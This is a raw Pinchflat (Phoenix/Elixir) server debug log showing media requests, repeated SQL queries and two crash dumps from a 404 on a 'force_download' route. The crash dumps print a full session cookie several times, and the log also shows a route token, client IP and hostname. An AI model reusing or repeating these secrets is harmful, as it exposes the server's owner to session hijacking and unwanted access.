false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0 (truncated) 04:53:43.460 [info] GET /media/d945a9e6-859f-4f8f-9df5-2d1d56b66268/stream 04:53:43.460 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d945a9e6-859f-4f8f-9df5-2d1d56b66268", "v" => "1780530285"} Pipelines: [:maybe_basic_auth] 04:53:43.461 [info] GET /sources/31/media/141299/edit 04:53:43.461 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 04:53:43.461 [debug] QUERY OK source="media_items" db=0.9ms idle=85.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d945a9e6-859f-4f8f-9df5-2d1d56b66268"] 04:53:43.462 [debug] QUERY OK source="media_items" db=0.9ms idle=84.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 04:53:43.463 [debug] Invalid range request for media item: d945a9e6-859f-4f8f-9df5-2d1d56b66268 - serving full file 04:53:43.463 [info] Sent 200 in 3ms 04:53:43.464 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=83.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.465 [debug] QUERY OK source="settings" db=0.3ms idle=23.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.467 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=24.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.470 [info] Sent 200 in 9ms 04:53:43.494 [info] GET /sources/31/media/141299/force_download 04:53:43.495 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=33.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.496 [debug] QUERY OK source="settings" db=0.3ms idle=33.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.496 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:43.497 [error] #PID<0.139173.0> running PinchflatWeb.Endpoint (connection #PID<0.139139.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141299/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139173.0>, params: %{}, path_info: ["sources", "31", "media", "141299", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/141299/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0WSEQyfdvN0AAH8D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9X (truncated) 04:53:43.543 [info] GET /sources/opml.xml 04:53:43.544 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "a8d84085-1d3c-49bb-b0a7-a3427b227828"} Pipelines: [:maybe_basic_auth, :token_protected_route] 04:53:43.544 [debug] QUERY OK source="settings" db=0.3ms idle=80.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.545 [debug] QUERY OK source="sources" db=0.3ms idle=80.2ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 04:53:43.546 [info] Sent 200 in 2ms 04:53:43.582 [info] GET /sources/31/media/141299 04:53:43.583 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 04:53:43.584 [debug] QUERY OK source="media_items" db=0.5ms idle=116.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 04:53:43.585 [debug] QUERY OK source="tasks" db=0.4ms idle=89.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 04:53:43.585 [debug] QUERY OK source="sources" db=0.6ms idle=88.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:43.587 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=41.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 04:53:43.588 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=42.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.589 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.591 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.593 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:43.599 [info] Sent 200 in 17ms 04:53:43.620 [info] GET /sources/new 04:53:43.620 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 04:53:43.621 [debug] QUERY OK source="media_profiles" db=0.4ms idle=33.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:43.622 [debug] QUERY OK source="settings" db=0.4ms idle=33.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.623 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=33.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.624 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=33.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.625 [debug] QUERY OK source="settings" db=0.3ms idle=32.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.627 [debug] QUERY OK source="settings" db=0.3ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.634 [info] Sent 200 in 14ms 04:53:43.647 [info] GET /sources/31/media/141299/force_download 04:53:43.648 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=24.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.649 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=24.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.649 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:43.650 [error] #PID<0.139180.0> running PinchflatWeb.Endpoint (connection #PID<0.139139.0>, stream id 10) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141299/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139180.0>, params: %{}, path_info: ["sources", "31", "media", "141299", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/141299/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0W2ZwTZ4e2YAAH-D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0 (truncated) 04:53:43.696 [info] GET /sources/32 04:53:43.697 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 04:53:43.698 [debug] QUERY OK source="sources" db=0.5ms idle=73.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.699 [debug] QUERY OK source="media_profiles" db=0.5ms idle=72.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", 